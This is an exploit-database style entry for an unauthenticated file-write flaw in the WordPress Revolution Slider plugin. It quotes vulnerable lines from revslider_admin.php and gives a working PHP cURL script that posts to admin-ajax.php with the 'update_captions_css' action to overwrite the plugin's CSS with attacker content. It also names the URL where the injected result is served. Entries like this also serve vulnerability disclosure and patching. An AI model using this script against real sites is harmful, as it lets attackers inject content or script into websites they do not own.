Wordpress Plugin Revolution Slider - Unrestricted File Upload Exploit

######################################################################

# Exploit Title: Wordpress Plugin Revolution Slider - Unrestricted File Upload

# Google Dork: Y0ur Brain

# Date: 27.03.2015

# Exploit Author: CrashBandicot (@DosPerl)

# Vendor HomePage: http://revolution.themepunch.com/

# Version: old

# Tested on: Windows

######################################################################

# Path of File : /wp-content/plugins/revslider/revslider_admin.php

# Vulnerable File : revslider_admin.php

232. $action = self::getPostGetVar("client_action");

233. $data = self::getPostGetVar("data");

...

301. case "get_captions_css":

302. $contentCSS = $operations->getCaptionsContent();

303. self::ajaxResponseData($contentCSS);

...

305. case "update_captions_css":

306. $arrCaptions = $operations->updateCaptionsContentData($data);

307. self::ajaxResponseSuccess("CSS file saved succesfully!",array("arrCaptions"=>$arrCaptions));

# Exploit :

<?php

$post = array

(

"action" => "revslider_ajax_action",

"client_action" => "update_captions_css",

"data" => "<marquee>Malicious Code Here</marquee>"

);

$ch = curl_init ("http://localhost/wp-admin/admin-ajax.php");

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");

curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);

curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);

curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);

$data = curl_exec ($ch);

curl_close ($ch);

?>

# Path of Result : /wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css

#EOF

Rating